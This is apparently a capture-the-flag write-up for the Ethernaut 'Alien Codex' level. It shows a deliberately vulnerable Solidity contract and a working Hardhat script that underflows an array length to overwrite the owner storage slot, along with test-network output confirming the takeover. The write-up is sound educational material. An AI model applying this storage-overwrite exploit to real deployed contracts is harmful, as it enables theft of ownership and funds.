Ethernaut #19 Alien Codex

Alien Codex

Challenge

You’ve uncovered an Alien contract. Claim ownership to complete the level.

Things that might help

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

Background

This challenge is actually something I have suggested and discussed with some friends after a HAM radio lecture a few days ago :)

Arrays are allocated in two different ways. There are fixed-length arrays and dynamic-length arrays. Fixed-length arrays allocate space as if each element in the array was a separate variable. Dynamic-length arrays on the other hand, work in a very different way. Dynamic-length arrays store the length of the array in the slot given, and then use the keccak hash of that slot number to point to the location of the array. Then the array is accessed in a consecutive fashion. The problem arrises when one realizes that the length value is just a number stored in the array.length variable and if it can be manipulated, an attacker could extend it and make the array overlap other stuff in storage and then potentially access it by indexing into the array. Since solidity version 0.6.0 the array.length is now treated as read only by the compiler, however it is NOT a constant. Manipulating the slot using some other technique could still change its value.

Attack

In order to attack this challenge, we first need to extend the length of the array. This can be achieved usign an integer underflow vulnerability. This can be achieved by simply calling the retract function before adding anything to the array. This will underflow the integer and go from 0x0000000000000000000000000000000000000000000000000000000000000000 to 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff. In order to call the retract function we also need to call the make_contact function just to bypass the modifier check. Finally we can calculate the offset of the array start to the first slot (slot 0) and replace the item at that index with the attackers address using the revise function.

We could consider clearing the contact variable and even fixing the array length, but since its not required we wont be bothering with this.

alien-codex-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function main() {
    alienCodexAddress = "0xEba61037dEdbcbdaFF55315B626cF7C06B8fFbf5";
    contract = await ethers.getContractAt("AlienCodex", alienCodexAddress);

    const accounts = await hre.ethers.getSigners();
    account = accounts[0];

    console.log("Level address : " + contract.address)
    console.log("Contract owner: " + await contract.owner())

    // calculate start of array
    arrayStart = ethers.utils.keccak256(ethers.utils.hexZeroPad(0x01, 32))

    // calculate owner offset (slot 0) from start of array
    offset = ethers.BigNumber.from('0x10000000000000000000000000000000000000000000000000000000000000000').sub(ethers.BigNumber.from(arrayStart))
    offsetHex = ethers.utils.hexZeroPad(offset, 32)

    // bypass modifier check
    tx = await contract.connect(account).make_contact()
    receipt = await tx.wait()

    // underflow array length to access full space
    tx = await contract.connect(account).retract()
    receipt = await tx.wait()

    // replace owner by writing address to array at calculated offset
    tx = await contract.connect(account).revise(offsetHex, ethers.utils.hexZeroPad(account.address, 32))
    receipt = await tx.wait()
    
    console.log("Contract owner: " + await contract.owner())
    
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/alien-codex-solve.js --network rinkeby
Level address : 0xEba61037dEdbcbdaFF55315B626cF7C06B8fFbf5
Contract owner: 0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272
Contract owner: 0x11bAe9eA1851939a485f1F00b7B0Eec099e9276d

Success Message

This level exploits the fact that the EVM doesn’t validate an array’s ABI-encoded length vs its actual payload.

Additionally, it exploits the arithmetic underflow of array length, by expanding the array’s bounds to the entire storage area of 2^256. The user is then able to modify all contract storage.

Both vulnerabilities are inspired by 2017’s Underhanded coding contest